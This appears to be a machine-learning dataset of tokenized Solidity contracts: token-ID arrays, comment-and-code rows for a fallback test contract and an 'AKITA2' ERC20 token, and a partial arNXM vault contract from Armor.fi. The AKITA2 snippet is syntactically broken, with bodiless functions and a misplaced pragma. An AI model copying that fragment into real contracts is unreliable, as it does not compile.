31,
203,
225,
2874,
261,
2867,
516,
2254,
5034,
13,
23178,
1345,
1380,
31,
203,
225,
2874,
261,
11890,
5034,
516,
1758,
13,
1071,
1147,
1016,
774,
31639,
31,
203,
203,
203,
225,
871,
490,
474,
12,
2867,
3410,
16,
2254,
5034,
1147,
548,
1769,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x66975AD8595E9268c705E33A971Af2111C96e4a0/sources/contracts/FallbackTest.sol | This function is called for all messages sent to this contract, except plain Ether transfers (there is no other function except the receive function). Any call with non-empty calldata to this contract will execute the fallback function (even if Ether is sent along with the call). This function is called for plain Ether transfers, i.e. for every call with empty calldata. | contract TestPayable {
uint public x;
uint public y;
fallback() external payable { x = 1; y = msg.value; }
receive() external payable { x = 2; y = msg.value; }
}
| 5,621,055 | [
1,
2503,
445,
353,
2566,
364,
777,
2743,
3271,
358,
333,
6835,
16,
1335,
7351,
512,
1136,
29375,
261,
18664,
353,
1158,
1308,
445,
1335,
326,
6798,
445,
2934,
5502,
745,
598,
1661,
17,
5531,
745,
892,
358,
333,
6835,
903,
1836,
326,
5922,
445,
261,
16728,
309,
512,
1136,
353,
3271,
7563,
598,
326,
745,
2934,
1220,
445,
353,
2566,
364,
7351,
512,
1136,
29375,
16,
277,
18,
73,
18,
364,
3614,
745,
598,
1008,
745,
892,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
7766,
9148,
429,
288,
203,
565,
2254,
1071,
619,
31,
203,
565,
2254,
1071,
677,
31,
203,
203,
565,
5922,
1435,
3903,
8843,
429,
288,
619,
273,
404,
31,
677,
273,
1234,
18,
1132,
31,
289,
203,
565,
6798,
1435,
3903,
8843,
429,
288,
619,
273,
576,
31,
677,
273,
1234,
18,
1132,
31,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x657Ca5fAf80C7d19Fc6e810ffeF525A62f40bE9d/sources/AKITA2.sol | File contracts/baped.sol | contract AKITA2 is ERC20 {
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.15;
constructor() ERC20("Akita 2.0", "AKITA2.0") {
_mint(msg.sender, 420690000000000 * 10 ** decimals());
}
} | 15,570,954 | [
1,
812,
20092,
19,
70,
5994,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
432,
47,
1285,
37,
22,
353,
4232,
39,
3462,
288,
7010,
565,
445,
389,
5771,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
203,
565,
445,
389,
5205,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
97,
203,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
3600,
31,
203,
203,
565,
3885,
1435,
4232,
39,
3462,
2932,
37,
8691,
69,
576,
18,
20,
3113,
315,
14607,
1285,
37,
22,
18,
20,
7923,
288,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
1059,
3462,
8148,
2787,
9449,
380,
1728,
2826,
15105,
10663,
203,
565,
289,
225,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.6;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*
* @dev We've added a second owner to share control of the timelocked owner contract.
*/
contract Ownable {
address private _owner;
address private _pendingOwner;
// Second allows a DAO to share control.
address private _secondOwner;
address private _pendingSecond;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event SecondOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function initializeOwnable() internal {
require(_owner == address(0), "already initialized");
_owner = msg.sender;
_secondOwner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
emit SecondOwnershipTransferred(address(0), msg.sender);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @return the address of the owner.
*/
function secondOwner() public view returns (address) {
return _secondOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "msg.sender is not owner");
_;
}
modifier onlyFirstOwner() {
require(msg.sender == _owner, "msg.sender is not owner");
_;
}
modifier onlySecondOwner() {
require(msg.sender == _secondOwner, "msg.sender is not owner");
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner || msg.sender == _secondOwner;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyFirstOwner {
_pendingOwner = newOwner;
}
function receiveOwnership() public {
require(msg.sender == _pendingOwner, "only pending owner can call this function");
_transferOwnership(_pendingOwner);
_pendingOwner = address(0);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferSecondOwnership(address newOwner) public onlySecondOwner {
_pendingSecond = newOwner;
}
function receiveSecondOwnership() public {
require(msg.sender == _pendingSecond, "only pending owner can call this function");
_transferSecondOwnership(_pendingSecond);
_pendingSecond = address(0);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferSecondOwnership(address newOwner) internal {
require(newOwner != address(0));
emit SecondOwnershipTransferred(_secondOwner, newOwner);
_secondOwner = newOwner;
}
uint256[50] private __gap;
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*
* @dev Default OpenZeppelin
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IWNXM {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
function wrap(uint256 amount) external;
function unwrap(uint256 amount) external;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Quick interface for the Nexus Mutual contract to work with the Armor Contracts.
**/
// to get nexus mutual contract address
interface INxmMaster {
function tokenAddress() external view returns(address);
function owner() external view returns(address);
function pauseTime() external view returns(uint);
function masterInitialized() external view returns(bool);
function isPause() external view returns(bool check);
function isMember(address _add) external view returns(bool);
function getLatestAddress(bytes2 _contractName) external view returns(address payable contractAddress);
}
interface IPooledStaking {
function lastUnstakeRequestId() external view returns(uint256);
function stakerDeposit(address user) external view returns (uint256);
function stakerMaxWithdrawable(address user) external view returns (uint256);
function withdrawReward(address user) external;
function requestUnstake(address[] calldata protocols, uint256[] calldata amounts, uint256 insertAfter) external;
function depositAndStake(uint256 deposit, address[] calldata protocols, uint256[] calldata amounts) external;
function stakerContractStake(address staker, address protocol) external view returns (uint256);
function stakerContractPendingUnstakeTotal(address staker, address protocol) external view returns(uint256);
function withdraw(uint256 amount) external;
function stakerReward(address staker) external view returns (uint256);
}
interface IClaimsData {
function getClaimStatusNumber(uint256 claimId) external view returns (uint256, uint256);
function getClaimDateUpd(uint256 claimId) external view returns (uint256);
}
interface INXMPool {
function buyNXM(uint minTokensOut) external payable;
}
interface IRewardDistributionRecipient {
function notifyRewardAmount(uint256 reward) payable external;
}
interface IRewardManager is IRewardDistributionRecipient {
function initialize(address _rewardToken, address _stakeController) external;
function stake(address _user, address _referral, uint256 _coverPrice) external;
function withdraw(address _user, address _referral, uint256 _coverPrice) external;
function getReward(address payable _user) external;
}
interface IShieldMining {
function claimRewards(
address[] calldata stakedContracts,
address[] calldata sponsors,
address[] calldata tokenAddresses
) external returns (uint[] memory tokensRewarded);
}
/**
* @title arNXM Vault
* @dev Vault to stake wNXM or NXM in Nexus Mutual while maintaining your liquidity.
* This is V2 which replaces V1 behind a proxy. Updated variables at the bottom.
* @author Armor.fi -- Robert M.C. Forster, Taek Lee
* SPDX-License-Identifier: (c) Armor.Fi DAO, 2021
**/
contract arNXMVault is Ownable {
using SafeMath for uint;
using SafeERC20 for IERC20;
uint256 constant private DENOMINATOR = 1000;
// Amount of time between
uint256 public restakePeriod;
// Amount of time that rewards are distributed over.
uint256 public rewardDuration;
// This used to be unstake percent but has now been deprecated in favor of individual unstakes.
// Paranoia results in this not being replaced but rather deprecated and new variables placed at the bottom.
uint256 public ____deprecated____;
// Amount of wNXM (in token Wei) to reserve each period.
// Overwrites reservePercent in update.
uint256 public reserveAmount;
// Withdrawals may be paused if a hack has recently happened. Timestamp of when the pause happened.
uint256 public withdrawalsPaused;
// Amount of time withdrawals may be paused after a hack.
uint256 public pauseDuration;
// Address that will receive administration funds from the contract.
address public beneficiary;
// Percent of funds to be distributed for administration of the contract. 10 == 1%; 1000 == 100%.
uint256 public adminPercent;
// Percent of staking rewards that referrers get.
uint256 public referPercent;
// Timestamp of when the last restake took place--7 days between each.
uint256 public lastRestake;
// The amount of the last reward.
uint256 public lastReward;
// Uniswap, Maker, Compound, Aave, Curve, Synthetix, Yearn, RenVM, Balancer, dForce.
address[] public protocols;
// Amount to unstake each time.
uint256[] private amounts;
// Protocols being actively used in staking or unstaking.
address[] private activeProtocols;
struct WithdrawalRequest {
uint48 requestTime;
uint104 nAmount;
uint104 arAmount;
}
// Nxm tokens.
IERC20 public wNxm;
IERC20 public nxm;
IERC20 public arNxm;
// Nxm Master address.
INxmMaster public nxmMaster;
// Reward manager for referrers.
IRewardManager public rewardManager;
// Referral => referrer
mapping (address => address) public referrers;
event Deposit(address indexed user, uint256 nAmount, uint256 arAmount, uint256 timestamp);
event WithdrawRequested(address indexed user, uint256 arAmount, uint256 nAmount, uint256 requestTime, uint256 withdrawTime);
event Withdrawal(address indexed user, uint256 nAmount, uint256 arAmount, uint256 timestamp);
event Restake(uint256 withdrawn, uint256 unstaked, uint256 staked, uint256 totalAum, uint256 timestamp);
event NxmReward(uint256 reward, uint256 timestamp, uint256 totalAum);
// Avoid composability issues for liquidation.
modifier notContract {
require(msg.sender == tx.origin, "Sender must be an EOA.");
_;
}
// Functions as re-entrancy protection and more.
// Mapping down below with other update variables.
modifier oncePerTx {
require(block.timestamp > lastCall[tx.origin], "May only call this contract once per transaction.");
lastCall[tx.origin] = block.timestamp;
_;
}
/**
* @param _protocols List of the 10 protocols we're using.
* @param _wNxm Address of the wNxm contract.
* @param _arNxm Address of the arNxm contract.
* @param _nxmMaster Address of Nexus' master address (to fetch others).
* @param _rewardManager Address of the ReferralRewards smart contract.
**/
function initialize(address[] memory _protocols,
address _wNxm,
address _arNxm,
address _nxm,
address _nxmMaster,
address _rewardManager)
public
{
require(address(arNxm) == address(0), "Contract has already been initialized.");
for (uint256 i = 0; i < _protocols.length; i++) protocols.push(_protocols[i]);
Ownable.initializeOwnable();
wNxm = IERC20(_wNxm);
nxm = IERC20(_nxm);
arNxm = IERC20(_arNxm);
nxmMaster = INxmMaster(_nxmMaster);
rewardManager = IRewardManager(_rewardManager);
// unstakePercent = 100;
adminPercent = 0;
referPercent = 25;
reserveAmount = 30 ether;
pauseDuration = 10 days;
beneficiary = msg.sender;
restakePeriod = 3 days;
rewardDuration = 9 days;
// Approve to wrap and send funds to reward manager.
_approveNxm(_wNxm);
arNxm.approve( _rewardManager, uint256(-1) );
}
/**
* @dev Deposit wNxm or NXM to get arNxm in return.
* @param _nAmount The amount of NXM to stake.
* @param _referrer The address that referred this user.
* @param _isNxm True if the token is NXM, false if the token is wNXM.
**/
function deposit(uint256 _nAmount, address _referrer, bool _isNxm)
external
oncePerTx
{
if ( referrers[msg.sender] == address(0) ) {
referrers[msg.sender] = _referrer != address(0) ? _referrer : beneficiary;
address refToSet = _referrer != address(0) ? _referrer : beneficiary;
referrers[msg.sender] = refToSet;
// A wallet with a previous arNXM balance would be able to subtract referral weight that it never added.
uint256 prevBal = arNxm.balanceOf(msg.sender);
if (prevBal > 0) rewardManager.stake(refToSet, msg.sender, prevBal);
}
// This amount must be determined before arNxm mint.
uint256 arAmount = arNxmValue(_nAmount);
if (_isNxm) {
nxm.safeTransferFrom(msg.sender, address(this), _nAmount);
} else {
wNxm.safeTransferFrom(msg.sender, address(this), _nAmount);
_unwrapWnxm(_nAmount);
}
// Mint also increases sender's referral balance through alertTransfer.
arNxm.mint(msg.sender, arAmount);
emit Deposit(msg.sender, _nAmount, arAmount, block.timestamp);
}
/**
* @dev Withdraw an amount of wNxm or NXM by burning arNxm.
* @param _arAmount The amount of arNxm to burn for the wNxm withdraw.
* @param _payFee Flag to pay fee to withdraw without delay.
**/
function withdraw(uint256 _arAmount, bool _payFee)
external
oncePerTx
{
require(block.timestamp.sub(withdrawalsPaused) > pauseDuration, "Withdrawals are temporarily paused.");
// This amount must be determined before arNxm burn.
uint256 nAmount = nxmValue(_arAmount);
require(totalPending.add(nAmount) <= nxm.balanceOf(address(this)), "Not enough NXM available for witthdrawal.");
if (_payFee) {
uint256 fee = nAmount.mul(withdrawFee).div(1000);
uint256 disbursement = nAmount.sub(fee);
// Burn also decreases sender's referral balance through alertTransfer.
arNxm.burn(msg.sender, _arAmount);
_wrapNxm(disbursement);
wNxm.safeTransfer(msg.sender, disbursement);
emit Withdrawal(msg.sender, nAmount, _arAmount, block.timestamp);
} else {
totalPending = totalPending.add(nAmount);
arNxm.safeTransferFrom(msg.sender, address(this), _arAmount);
WithdrawalRequest memory prevWithdrawal = withdrawals[msg.sender];
withdrawals[msg.sender] = WithdrawalRequest(
uint48(block.timestamp),
prevWithdrawal.nAmount + uint104(nAmount),
prevWithdrawal.arAmount + uint104(_arAmount)
);
emit WithdrawRequested(msg.sender, _arAmount, nAmount, block.timestamp, block.timestamp.add(withdrawDelay));
}
}
/**
* @dev Withdraw from request
**/
